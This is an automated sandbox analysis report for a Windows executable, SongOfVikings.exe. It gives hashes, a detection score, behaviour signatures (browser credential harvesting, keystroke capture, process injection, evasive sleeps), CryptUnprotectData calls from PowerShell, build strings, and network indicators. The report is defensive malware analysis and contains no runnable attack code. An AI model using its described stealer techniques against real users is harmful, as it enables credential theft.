Windows Analysis Report
SongOfVikings.exe

Overview

General Information

Sample name: SongOfVikings.exe
Analysis ID: 1416898
MD5: e66fb39c07d4e01d713fbac743f4ced7
SHA1: 6dec3465aef1404f63e939cbb03104bf1d476e97
SHA256: 0aed87372c8b6418f78abe020549e227175cae65f01713357afdbb7f7a839a34
Tags: exe
Infos:

Detection

Score: 56
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Multi AV Scanner detection for dropped file
Drops large PE files
Tries to harvest and steal browser information (history, passwords, etc)
Contains functionality for read data from the clipboard
Contains functionality to shutdown / reboot the system
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Drops PE files
Drops files with a non-matching file extension (content does not match file extension)
Enables security privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
IP address seen in connection with other malware
Installs a raw input device (often for capturing keystrokes)
May check the online IP address of the machine
May sleep (evasive loops) to hinder dynamic analysis
PE file contains more sections than normal
PE file contains sections with non-standard names
Queries keyboard layouts
Queries the volume information (name, serial number etc) of a device
Sample file is different than original file name gathered from version info
Stores files to the Windows start menu directory
Tries to load missing DLLs
Uses 32bit PE files
Uses Microsoft's Enhanced Cryptographic Provider
Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

AV Detection

barindex
Source: C:\Users\user\AppData\Local\Temp\db56a95c-619a-410d-ad51-8448947b0929.tmp.node Virustotal: Detection: 6% Perma Link
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 15_2_00007FFD9AFD4FEE CryptUnprotectData, 15_2_00007FFD9AFD4FEE
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 18_2_00007FFD9AFE4FEE CryptUnprotectData, 18_2_00007FFD9AFE4FEE
Source: SongOfVikings.exe Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
Source: C:\Users\user\Desktop\SongOfVikings.exe Registry value created: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\cdf7078b-99f0-53cc-bffc-b945975ddd33 Jump to behavior
Source: C:\Users\user\Desktop\SongOfVikings.exe File created: C:\Users\user\AppData\Local\Temp\nsjF3C0.tmp\7z-out\LICENSE.electron.txt Jump to behavior
Source: C:\Users\user\Desktop\SongOfVikings.exe File created: C:\Users\user\AppData\Local\Programs\SongOfVikings\LICENSE.electron.txt Jump to behavior
Source: SongOfVikings.exe Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Source: Binary string: BCC = $(NCC) -nologo -W3 -Fd$*.pdb $(CCOPTS) $(BCCOPTS) source: SongOfVikings.exe, 00000000.00000003.1775248292.0000000006110000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: /c /I"C:\USERS\SERC\.ELECTRON-GYP\24.8.8\INCLUDE\NODE" /I"C:\USERS\SERC\.ELECTRON-GYP\24.8.8\SRC" /I"C:\USERS\SERC\.ELECTRON-GYP\24.8.8\DEPS\OPENSSL\CONFIG" /I"C:\USERS\SERC\.ELECTRON-GYP\24.8.8\DEPS\OPENSSL\OPENSSL\INCLUDE" /I"C:\USERS\SERC\.ELECTRON-GYP\24.8.8\DEPS\UV\INCLUDE" /I"C:\USERS\SERC\.ELECTRON-GYP\24.8.8\DEPS\ZLIB" /I"C:\USERS\SERC\.ELECTRON-GYP\24.8.8\DEPS\V8\INCLUDE" /I"C:\USERS\SERC\DESKTOP\TELEGRAM - KOPYA\X\SCRIPT\NODE_MODULES\SQLITE3\NODE_MODULES\NODE-ADDON-API" /I"C:\USERS\SERC\DESKTOP\TELEGRAM - KOPYA\X\SCRIPT\NODE_MODULES\SQLITE3\BUILD\RELEASE\OBJ\GLOBAL_INTERMEDIATE\SQLITE-AUTOCONF-3440200" /Z7 /nologo /W3 /WX- /diagnostics:column /Ox /Ob2 /Oi /Ot /Oy /GL /D NODE_GYP_MODULE_NAME=node_sqlite3 /D USING_UV_SHARED=1 /D USING_V8_SHARED=1 /D V8_DEPRECATION_WARNINGS=1 /D V8_DEPRECATION_WARNINGS /D V8_IMMINENT_DEPRECATION_WARNINGS /D _GLIBCXX_USE_CXX11_ABI=1 /D ELECTRON_ENSURE_CONFIG_GYPI /D WIN32 /D _CRT_SECURE_NO_DEPRECATE /D _CRT_NONSTDC_NO_DEPRECATE /D _HAS_EXCEPTIONS=0 /D OPENSSL_NO_PINSHARED /D OPENSSL_THREADS /D NAPI_VERSION=8 /D NAPI_DISABLE_CPP_EXCEPTIONS=1 /D SQLITE_THREADSAFE=1 /D HAVE_USLEEP=1 /D SQLITE_ENABLE_FTS3 /D SQLITE_ENABLE_FTS4 /D SQLITE_ENABLE_FTS5 /D SQLITE_ENABLE_RTREE /D SQLITE_ENABLE_DBSTAT_VTAB=1 /D SQLITE_ENABLE_MATH_FUNCTIONS /D BUILDING_NODE_EXTENSION /D "HOST_BINARY=\"node.exe\"" /D NDEBUG /D _WINDLL /GF /Gm- /EHsc /MT /GS /Gy /fp:precise /Zc:wchar_t /Zc:forScope /Zc:inline /GR- /Fo"RELEASE\OBJ\NODE_SQLITE3\\SRC\NODE_SQLITE3.OBJ" /Fd"RELEASE\OBJ\NODE_SQLITE3\VC142.PDB" /external:W3 /Gd /TP /wd4351 /wd4355 /wd4800 /wd4251 /wd4275 /wd4244 /wd4267 /FC /Zc:__cplusplus -std:c++17 C:\USERS\SERC\DESKTOP\TELEGRAM - KOPYA\X\SCRIPT\NODE_MODULES\SQLITE3\SRC\NODE_SQLITE3.CC source: SongOfVikings.exe, 00000000.00000003.1775248292.0000000006110000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: del /Q *.exp *.lo *.ilk *.lib *.obj *.ncb *.pdb *.sdf *.suo 2>NUL source: SongOfVikings.exe, 00000000.00000003.1775248292.0000000006110000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: C:\Dev\elevate\bin\x86\Release\Elevate.pdb source: SongOfVikings.exe, 00000000.00000003.1907116496.0000000006529000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: C:\USERS\SERC\DESKTOP\TELEGRAM - KOPYA\X\SCRIPT\NODE_MODULES\SQLITE3\BUILD\RELEASE\NODE_SQLITE3.PDB source: SongOfVikings.exe, 00000000.00000003.1775248292.0000000006110000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: LTCOMPILE = $(TCC) -Fo$@ -Fd$*.pdb source: SongOfVikings.exe, 00000000.00000003.1775248292.0000000006110000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: CLEANFILES="$CLEANFILES *.lib *.dll *.pdb *.exp" source: SongOfVikings.exe, 00000000.00000003.1775044030.0000000005C10000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: /OUT:"C:\USERS\SERC\DESKTOP\TELEGRAM - KOPYA\X\SCRIPT\NODE_MODULES\SQLITE3\BUILD\RELEASE\NODE_SQLITE3.NODE" /INCREMENTAL:NO /NOLOGO KERNEL32.LIB USER32.LIB GDI32.LIB WINSPOOL.LIB COMDLG32.LIB ADVAPI32.LIB SHELL32.LIB OLE32.LIB OLEAUT32.LIB UUID.LIB ODBC32.LIB DELAYIMP.LIB "C:\\USERS\\SERC\\.ELECTRON-GYP\\24.8.8\\X64\\NODE.LIB" DELAYIMP.LIB /DELAYLOAD:NODE.EXE /MANIFEST /MANIFESTUAC:"level='asInvoker' uiAccess='false'" /manifest:embed /DEBUG /PDB:"C:\USERS\SERC\DESKTOP\TELEGRAM - KOPYA\X\SCRIPT\NODE_MODULES\SQLITE3\BUILD\RELEASE\NODE_SQLITE3.PDB" /OPT:REF /OPT:ICF /TLBID:1 /DYNAMICBASE /NXCOMPAT /MACHINE:X64 /LTCG:INCREMENTAL /ignore:4199 /DLL RELEASE\OBJ\NODE_SQLITE3\WIN_DELAY_LOAD_HOOK.OBJ source: SongOfVikings.exe, 00000000.00000003.1775248292.0000000006110000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: *.$ac_ext | *.xcoff | *.tds | *.d | *.pdb | *.xSYM | *.bb | *.bbg | *.map | *.inf | *.dSYM ) ;; source: SongOfVikings.exe, 00000000.00000003.1775248292.0000000006110000.00000004.00001000.00020000.00000000.sdmp, SongOfVikings.exe, 00000000.00000003.1775044030.0000000005C10000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: C:\projects\src\out\Default\ffmpeg.dll.pdb source: SongOfVikings.exe, 00000000.00000003.1839965990.00000000051BD000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: C:\projects\src\out\Default\libGLESv2.dll.pdb source: SongOfVikings.exe, 00000000.00000003.1781445423.0000000006010000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: C:\PROGRAM FILES (X86)\MICROSOFT VISUAL STUDIO\2019\ENTERPRISE\VC\TOOLS\MSVC\14.29.30133\LIB\X64\LIBCMT.AMD64.PDB source: SongOfVikings.exe, 00000000.00000003.1775248292.0000000006110000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: /c /I"C:\USERS\SERC\.ELECTRON-GYP\24.8.8\INCLUDE\NODE" /I"C:\USERS\SERC\.ELECTRON-GYP\24.8.8\SRC" /I"C:\USERS\SERC\.ELECTRON-GYP\24.8.8\DEPS\OPENSSL\CONFIG" /I"C:\USERS\SERC\.ELECTRON-GYP\24.8.8\DEPS\OPENSSL\OPENSSL\INCLUDE" /I"C:\USERS\SERC\.ELECTRON-GYP\24.8.8\DEPS\UV\INCLUDE" /I"C:\USERS\SERC\.ELECTRON-GYP\24.8.8\DEPS\ZLIB" /I"C:\USERS\SERC\.ELECTRON-GYP\24.8.8\DEPS\V8\INCLUDE" /I"C:\USERS\SERC\DESKTOP\TELEGRAM - KOPYA\X\SCRIPT\NODE_MODULES\SQLITE3\NODE_MODULES\NODE-ADDON-API" /I"C:\USERS\SERC\DESKTOP\TELEGRAM - KOPYA\X\SCRIPT\NODE_MODULES\SQLITE3\BUILD\RELEASE\OBJ\GLOBAL_INTERMEDIATE\SQLITE-AUTOCONF-3440200" /Z7 /nologo /W3 /WX- /diagnostics:column /Ox /Ob2 /Oi /Ot /Oy /GL /D NODE_GYP_MODULE_NAME=node_sqlite3 /D USING_UV_SHARED=1 /D USING_V8_SHARED=1 /D V8_DEPRECATION_WARNINGS=1 /D V8_DEPRECATION_WARNINGS /D V8_IMMINENT_DEPRECATION_WARNINGS /D _GLIBCXX_USE_CXX11_ABI=1 /D ELECTRON_ENSURE_CONFIG_GYPI /D WIN32 /D _CRT_SECURE_NO_DEPRECATE /D _CRT_NONSTDC_NO_DEPRECATE /D _HAS_EXCEPTIONS=0 /D OPENSSL_NO_PINSHARED /D OPENSSL_THREADS /D NAPI_VERSION=8 /D NAPI_DISABLE_CPP_EXCEPTIONS=1 /D SQLITE_THREADSAFE=1 /D HAVE_USLEEP=1 /D SQLITE_ENABLE_FTS3 /D SQLITE_ENABLE_FTS4 /D SQLITE_ENABLE_FTS5 /D SQLITE_ENABLE_RTREE /D SQLITE_ENABLE_DBSTAT_VTAB=1 /D SQLITE_ENABLE_MATH_FUNCTIONS /D BUILDING_NODE_EXTENSION /D "HOST_BINARY=\"node.exe\"" /D NDEBUG /D _WINDLL /GF /Gm- /EHsc /MT /GS /Gy /fp:precise /Zc:wchar_t /Zc:forScope /Zc:inline /GR- /Fo"RELEASE\OBJ\NODE_SQLITE3\\" /Fd"RELEASE\OBJ\NODE_SQLITE3\VC142.PDB" /external:W3 /Gd /TP /wd4351 /wd4355 /wd4800 /wd4251 /wd4275 /wd4244 /wd4267 /FC /Zc:__cplusplus -std:c++17 C:\USERS\SERC\DESKTOP\TELEGRAM - KOPYA\X\SCRIPT\NODE_MODULES\NODE-GYP\SRC\WIN_DELAY_LOAD_HOOK.CC source: SongOfVikings.exe, 00000000.00000003.1775248292.0000000006110000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: C:\Users\serc\Desktop\Telegram - Kopya\x\script\node_modules\sqlite3\build\Release\sqlite3.pdb source: SongOfVikings.exe, 00000000.00000003.1775248292.0000000006110000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: SQLITE3EXEPDB = /pdb:sqlite3sh.pdb source: SongOfVikings.exe, 00000000.00000003.1775248292.0000000006110000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: ** rbu_file.pDb!=0, then it is assumed to already be present on the source: SongOfVikings.exe, 00000000.00000003.1774844208.0000000005710000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: D3DCompiler_47.pdb source: SongOfVikings.exe, 00000000.00000003.1839026693.00000000051B7000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: -FdC:\Users\serc\Desktop\Telegram - Kopya\x\script\node_modules\sqlite3\build\Release\sqlite3.pdb source: SongOfVikings.exe, 00000000.00000003.1775248292.0000000006110000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: -typedil-fC:\Users\serc\Desktop\Telegram - Kopya\x\script\node_modules\node-gyp\src\win_delay_load_hook.cc-dos-Zi-Z7-W3-pdbrpc-Og-Ob2-Ot-EHs-MT-GS-Gy-FitObjFunc-FitObjData-NoRTTI-FoC:\Users\serc\Desktop\Telegram - Kopya\x\script\node_modules\sqlite3\build\deps\Release\obj\sqlite3\win_delay_load_hook.obj-FdC:\Users\serc\Desktop\Telegram - Kopya\x\script\node_modules\sqlite3\build\Release\sqlite3.pdb-errorreport:queue source: SongOfVikings.exe, 00000000.00000003.1775248292.0000000006110000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: C:\projects\src\out\Default\electron.exe.pdb source: SongOfVikings.exe, 00000000.00000003.1836209062.0000000006010000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: D3DCompiler_47.pdbGCTL source: SongOfVikings.exe, 00000000.00000003.1839026693.00000000051B7000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: C:\PROGRAM FILES (X86)\MICROSOFT VISUAL STUDIO\2019\ENTERPRISE\VC\TOOLS\MSVC\14.29.30133\LIB\X64\LIBVCRUNTIME.AMD64.PDB source: SongOfVikings.exe, 00000000.00000003.1775248292.0000000006110000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: BCC = $(NCC) -nologo -W4 -Fd$*.pdb $(CCOPTS) $(BCCOPTS) source: SongOfVikings.exe, 00000000.00000003.1775248292.0000000006110000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: *.$ac_ext | *.xcoff | *.tds | *.d | *.pdb | *.xSYM | *.bb | *.bbg | *.map | *.inf | *.dSYM | *.o | *.obj ) ;; source: SongOfVikings.exe, 00000000.00000003.1775248292.0000000006110000.00000004.00001000.00020000.00000000.sdmp, SongOfVikings.exe, 00000000.00000003.1775044030.0000000005C10000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: *.$ac_ext | *.xcoff | *.tds | *.d | *.pdb | *.xSYM | *.bb | *.bbg | *.map | *.inf | *.dSYM | *.o | *.obj ) source: SongOfVikings.exe, 00000000.00000003.1775248292.0000000006110000.00000004.00001000.00020000.00000000.sdmp, SongOfVikings.exe, 00000000.00000003.1775044030.0000000005C10000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: C:\projects\src\out\Default\vk_swiftshader.dll.pdb source: SongOfVikings.exe, 00000000.00000003.1836209062.0000000006010000.00000004.00001000.00020000.00000000.sdmp, SongOfVikings.exe, 00000000.00000003.1902908317.00000000051B1000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: /c /I"C:\USERS\SERC\.ELECTRON-GYP\24.8.8\INCLUDE\NODE" /I"C:\USERS\SERC\.ELECTRON-GYP\24.8.8\SRC" /I"C:\USERS\SERC\.ELECTRON-GYP\24.8.8\DEPS\OPENSSL\CONFIG" /I"C:\USERS\SERC\.ELECTRON-GYP\24.8.8\DEPS\OPENSSL\OPENSSL\INCLUDE" /I"C:\USERS\SERC\.ELECTRON-GYP\24.8.8\DEPS\UV\INCLUDE" /I"C:\USERS\SERC\.ELECTRON-GYP\24.8.8\DEPS\ZLIB" /I"C:\USERS\SERC\.ELECTRON-GYP\24.8.8\DEPS\V8\INCLUDE" /I"C:\USERS\SERC\DESKTOP\TELEGRAM - KOPYA\X\SCRIPT\NODE_MODULES\SQLITE3\NODE_MODULES\NODE-ADDON-API" /I"C:\USERS\SERC\DESKTOP\TELEGRAM - KOPYA\X\SCRIPT\NODE_MODULES\SQLITE3\BUILD\RELEASE\OBJ\GLOBAL_INTERMEDIATE\SQLITE-AUTOCONF-3440200" /Z7 /nologo /W3 /WX- /diagnostics:column /Ox /Ob2 /Oi /Ot /Oy /GL /D NODE_GYP_MODULE_NAME=node_sqlite3 /D USING_UV_SHARED=1 /D USING_V8_SHARED=1 /D V8_DEPRECATION_WARNINGS=1 /D V8_DEPRECATION_WARNINGS /D V8_IMMINENT_DEPRECATION_WARNINGS /D _GLIBCXX_USE_CXX11_ABI=1 /D ELECTRON_ENSURE_CONFIG_GYPI /D WIN32 /D _CRT_SECURE_NO_DEPRECATE /D _CRT_NONSTDC_NO_DEPRECATE /D _HAS_EXCEPTIONS=0 /D OPENSSL_NO_PINSHARED /D OPENSSL_THREADS /D NAPI_VERSION=8 /D NAPI_DISABLE_CPP_EXCEPTIONS=1 /D SQLITE_THREADSAFE=1 /D HAVE_USLEEP=1 /D SQLITE_ENABLE_FTS3 /D SQLITE_ENABLE_FTS4 /D SQLITE_ENABLE_FTS5 /D SQLITE_ENABLE_RTREE /D SQLITE_ENABLE_DBSTAT_VTAB=1 /D SQLITE_ENABLE_MATH_FUNCTIONS /D BUILDING_NODE_EXTENSION /D "HOST_BINARY=\"node.exe\"" /D NDEBUG /D _WINDLL /GF /Gm- /EHsc /MT /GS /Gy /fp:precise /Zc:wchar_t /Zc:forScope /Zc:inline /GR- /Fo"RELEASE\OBJ\NODE_SQLITE3\\SRC\BACKUP.OBJ" /Fd"RELEASE\OBJ\NODE_SQLITE3\VC142.PDB" /external:W3 /Gd /TP /wd4351 /wd4355 /wd4800 /wd4251 /wd4275 /wd4244 /wd4267 /FC /Zc:__cplusplus -std:c++17 C:\USERS\SERC\DESKTOP\TELEGRAM - KOPYA\X\SCRIPT\NODE_MODULES\SQLITE3\SRC\BACKUP.CC source: SongOfVikings.exe, 00000000.00000003.1775248292.0000000006110000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: /c /I"C:\USERS\SERC\.ELECTRON-GYP\24.8.8\INCLUDE\NODE" /I"C:\USERS\SERC\.ELECTRON-GYP\24.8.8\SRC" /I"C:\USERS\SERC\.ELECTRON-GYP\24.8.8\DEPS\OPENSSL\CONFIG" /I"C:\USERS\SERC\.ELECTRON-GYP\24.8.8\DEPS\OPENSSL\OPENSSL\INCLUDE" /I"C:\USERS\SERC\.ELECTRON-GYP\24.8.8\DEPS\UV\INCLUDE" /I"C:\USERS\SERC\.ELECTRON-GYP\24.8.8\DEPS\ZLIB" /I"C:\USERS\SERC\.ELECTRON-GYP\24.8.8\DEPS\V8\INCLUDE" /I"C:\USERS\SERC\DESKTOP\TELEGRAM - KOPYA\X\SCRIPT\NODE_MODULES\SQLITE3\NODE_MODULES\NODE-ADDON-API" /I"C:\USERS\SERC\DESKTOP\TELEGRAM - KOPYA\X\SCRIPT\NODE_MODULES\SQLITE3\BUILD\RELEASE\OBJ\GLOBAL_INTERMEDIATE\SQLITE-AUTOCONF-3440200" /Z7 /nologo /W3 /WX- /diagnostics:column /Ox /Ob2 /Oi /Ot /Oy /GL /D NODE_GYP_MODULE_NAME=node_sqlite3 /D USING_UV_SHARED=1 /D USING_V8_SHARED=1 /D V8_DEPRECATION_WARNINGS=1 /D V8_DEPRECATION_WARNINGS /D V8_IMMINENT_DEPRECATION_WARNINGS /D _GLIBCXX_USE_CXX11_ABI=1 /D ELECTRON_ENSURE_CONFIG_GYPI /D WIN32 /D _CRT_SECURE_NO_DEPRECATE /D _CRT_NONSTDC_NO_DEPRECATE /D _HAS_EXCEPTIONS=0 /D OPENSSL_NO_PINSHARED /D OPENSSL_THREADS /D NAPI_VERSION=8 /D NAPI_DISABLE_CPP_EXCEPTIONS=1 /D SQLITE_THREADSAFE=1 /D HAVE_USLEEP=1 /D SQLITE_ENABLE_FTS3 /D SQLITE_ENABLE_FTS4 /D SQLITE_ENABLE_FTS5 /D SQLITE_ENABLE_RTREE /D SQLITE_ENABLE_DBSTAT_VTAB=1 /D SQLITE_ENABLE_MATH_FUNCTIONS /D BUILDING_NODE_EXTENSION /D "HOST_BINARY=\"node.exe\"" /D NDEBUG /D _WINDLL /GF /Gm- /EHsc /MT /GS /Gy /fp:precise /Zc:wchar_t /Zc:forScope /Zc:inline /GR- /Fo"RELEASE\OBJ\NODE_SQLITE3\\SRC\STATEMENT.OBJ" /Fd"RELEASE\OBJ\NODE_SQLITE3\VC142.PDB" /external:W3 /Gd /TP /wd4351 /wd4355 /wd4800 /wd4251 /wd4275 /wd4244 /wd4267 /FC /Zc:__cplusplus -std:c++17 C:\USERS\SERC\DESKTOP\TELEGRAM - KOPYA\X\SCRIPT\NODE_MODULES\SQLITE3\SRC\STATEMENT.CC source: SongOfVikings.exe, 00000000.00000003.1775248292.0000000006110000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: ** for all file descriptors with rbu_file.pDb!=0. If the argument has source: SongOfVikings.exe, 00000000.00000003.1774844208.0000000005710000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: C:\PROGRAM FILES (X86)\MICROSOFT VISUAL STUDIO\2019\ENTERPRISE\VC\TOOLS\MSVC\14.29.30133\LIB\X64\LIBCPMT.AMD64.PDB source: SongOfVikings.exe, 00000000.00000003.1775248292.0000000006110000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: /c /I"C:\USERS\SERC\.ELECTRON-GYP\24.8.8\INCLUDE\NODE" /I"C:\USERS\SERC\.ELECTRON-GYP\24.8.8\SRC" /I"C:\USERS\SERC\.ELECTRON-GYP\24.8.8\DEPS\OPENSSL\CONFIG" /I"C:\USERS\SERC\.ELECTRON-GYP\24.8.8\DEPS\OPENSSL\OPENSSL\INCLUDE" /I"C:\USERS\SERC\.ELECTRON-GYP\24.8.8\DEPS\UV\INCLUDE" /I"C:\USERS\SERC\.ELECTRON-GYP\24.8.8\DEPS\ZLIB" /I"C:\USERS\SERC\.ELECTRON-GYP\24.8.8\DEPS\V8\INCLUDE" /I"C:\USERS\SERC\DESKTOP\TELEGRAM - KOPYA\X\SCRIPT\NODE_MODULES\SQLITE3\NODE_MODULES\NODE-ADDON-API" /I"C:\USERS\SERC\DESKTOP\TELEGRAM - KOPYA\X\SCRIPT\NODE_MODULES\SQLITE3\BUILD\RELEASE\OBJ\GLOBAL_INTERMEDIATE\SQLITE-AUTOCONF-3440200" /Z7 /nologo /W3 /WX- /diagnostics:column /Ox /Ob2 /Oi /Ot /Oy /GL /D NODE_GYP_MODULE_NAME=node_sqlite3 /D USING_UV_SHARED=1 /D USING_V8_SHARED=1 /D V8_DEPRECATION_WARNINGS=1 /D V8_DEPRECATION_WARNINGS /D V8_IMMINENT_DEPRECATION_WARNINGS /D _GLIBCXX_USE_CXX11_ABI=1 /D ELECTRON_ENSURE_CONFIG_GYPI /D WIN32 /D _CRT_SECURE_NO_DEPRECATE /D _CRT_NONSTDC_NO_DEPRECATE /D _HAS_EXCEPTIONS=0 /D OPENSSL_NO_PINSHARED /D OPENSSL_THREADS /D NAPI_VERSION=8 /D NAPI_DISABLE_CPP_EXCEPTIONS=1 /D SQLITE_THREADSAFE=1 /D HAVE_USLEEP=1 /D SQLITE_ENABLE_FTS3 /D SQLITE_ENABLE_FTS4 /D SQLITE_ENABLE_FTS5 /D SQLITE_ENABLE_RTREE /D SQLITE_ENABLE_DBSTAT_VTAB=1 /D SQLITE_ENABLE_MATH_FUNCTIONS /D BUILDING_NODE_EXTENSION /D "HOST_BINARY=\"node.exe\"" /D NDEBUG /D _WINDLL /GF /Gm- /EHsc /MT /GS /Gy /fp:precise /Zc:wchar_t /Zc:forScope /Zc:inline /GR- /Fo"RELEASE\OBJ\NODE_SQLITE3\\SRC\DATABASE.OBJ" /Fd"RELEASE\OBJ\NODE_SQLITE3\VC142.PDB" /external:W3 /Gd /TP /wd4351 /wd4355 /wd4800 /wd4251 /wd4275 /wd4244 /wd4267 /FC /Zc:__cplusplus -std:c++17 C:\USERS\SERC\DESKTOP\TELEGRAM - KOPYA\X\SCRIPT\NODE_MODULES\SQLITE3\SRC\DATABASE.CC source: SongOfVikings.exe, 00000000.00000003.1775248292.0000000006110000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: ** rbu_file.pDb!=0. source: SongOfVikings.exe, 00000000.00000003.1774844208.0000000005710000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: C:\projects\src\out\Default\vulkan-1.dll.pdb source: SongOfVikings.exe, 00000000.00000003.1834103716.0000000005A90000.00000004.00001000.00020000.00000000.sdmp, SongOfVikings.exe, 00000000.00000003.1833977942.0000000002FB0000.00000004.00001000.00020000.00000000.sdmp, SongOfVikings.exe, 00000000.00000003.1835988710.0000000005AD0000.00000004.00001000.00020000.00000000.sdmp
Source: C:\Users\user\Desktop\SongOfVikings.exe Code function: 0_2_004059CC GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose, 0_2_004059CC
Source: C:\Users\user\Desktop\SongOfVikings.exe Code function: 0_2_004065FD FindFirstFileW,FindClose, 0_2_004065FD
Source: C:\Users\user\Desktop\SongOfVikings.exe Code function: 0_2_00402868 FindFirstFileW, 0_2_00402868
Source: C:\Users\user\Desktop\SongOfVikings.exe File opened: C:\Users\user Jump to behavior
Source: C:\Users\user\Desktop\SongOfVikings.exe File opened: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Jump to behavior
Source: C:\Users\user\Desktop\SongOfVikings.exe File opened: C:\Users\user\AppData Jump to behavior
Source: C:\Users\user\Desktop\SongOfVikings.exe File opened: C:\Users\user\AppData\Local Jump to behavior
Source: C:\Users\user\Desktop\SongOfVikings.exe File opened: C:\Users\user\AppData\Local\Programs\SongOfVikings Jump to behavior
Source: C:\Users\user\Desktop\SongOfVikings.exe File opened: C:\Users\user\AppData\Local\Programs Jump to behavior
Source: Joe Sandbox View IP Address: 172.64.41.3 172.64.41.3
Source: Joe Sandbox View IP Address: 172.67.74.152 172.67.74.152
Source: unknown DNS query: name: api.ipify.org
Source: unknown DNS query: name: api.ipify.org
Source: unknown DNS query: name: api.ipify.org
Source: unknown TCP traffic detected without corresponding DNS query: 40.66.40.211
Source: unknown TCP traffic detected without corresponding DNS query: 40.66.40.211
Source: unknown TCP traffic detected without corresponding DNS query: 40.66.40.211
Source: unknown TCP traffic detected without corresponding DNS query: 40.66.40.211
Source: unknown TCP traffic detected without corresponding DNS query: 40.66.40.211
Source: unknown TCP traffic detected without corresponding DNS query: 40.66.40.211
Source: unknown TCP traffic detected without corresponding DNS query: 40.66.40.211
Source: unknown TCP traffic detected without corresponding DNS query: 40.66.40.211
Source: unknown TCP traffic detected without corresponding DNS query: 40.66.40.211
Source: unknown TCP traffic detected without corresponding DNS query: 40.66.40.211
Source: unknown TCP traffic detected without corresponding DNS query: 40.66.40.211
Source: unknown TCP traffic detected without corresponding DNS query: 40.66.40.211
Source: unknown TCP traffic detected without corresponding DNS query: 40.66.40.211
Source: unknown TCP traffic detected without corresponding DNS query: 40.66.40.211
Source: unknown TCP traffic detected without corresponding DNS query: 40.66.40.211
Source: unknown TCP traffic detected without corresponding DNS query: 40.66.40.211
Source: unknown TCP traffic detected without corresponding DNS query: 40.66.40.211
Source: unknown TCP traffic detected without corresponding DNS query: 40.66.40.211
Source: unknown TCP traffic detected without corresponding DNS query: 40.66.40.211
Source: unknown TCP traffic detected without corresponding DNS query: 40.66.40.211
Source: unknown TCP traffic detected without corresponding DNS query: 40.66.40.211
Source: unknown TCP traffic detected without corresponding DNS query: 40.66.40.211
Source: unknown TCP traffic detected without corresponding DNS query: 40.66.40.211
Source: unknown TCP traffic detected without corresponding DNS query: 40.66.40.211
Source: unknown TCP traffic detected without corresponding DNS query: 40.66.40.211
Source: unknown TCP traffic detected without corresponding DNS query: 40.66.40.211
Source: unknown TCP traffic detected without corresponding DNS query: 40.66.40.211
Source: unknown TCP traffic detected without corresponding DNS query: 40.66.40.211
Source: unknown TCP traffic detected without corresponding DNS query: 40.66.40.211
Source: unknown TCP traffic detected without corresponding DNS query: 40.66.40.211
Source: unknown TCP traffic detected without corresponding DNS query: 40.66.40.211
Source: unknown TCP traffic detected without corresponding DNS query: 40.66.40.211
Source: unknown TCP traffic detected without corresponding DNS query: 40.66.40.211
Source: unknown TCP traffic detected without corresponding DNS query: 40.66.40.211
Source: unknown TCP traffic detected without corresponding DNS query: 40.66.40.211
Source: unknown TCP traffic detected without corresponding DNS query: 40.66.40.211
Source: unknown TCP traffic detected without corresponding DNS query: 40.66.40.211
Source: unknown TCP traffic detected without corresponding DNS query: 40.66.40.211
Source: unknown TCP traffic detected without corresponding DNS query: 40.66.40.211
Source: unknown TCP traffic detected without corresponding DNS query: 40.66.40.211
Source: unknown TCP traffic detected without corresponding DNS query: 40.66.40.211
Source: unknown TCP traffic detected without corresponding DNS query: 40.66.40.211
Source: unknown TCP traffic detected without corresponding DNS query: 40.66.40.211
Source: unknown TCP traffic detected without corresponding DNS query: 40.66.40.211
Source: unknown TCP traffic detected without corresponding DNS query: 40.66.40.211
Source: unknown TCP traffic detected without corresponding DNS query: 40.66.40.211
Source: unknown TCP traffic detected without corresponding DNS query: 40.66.40.211
Source: unknown TCP traffic detected without corresponding DNS query: 40.66.40.211
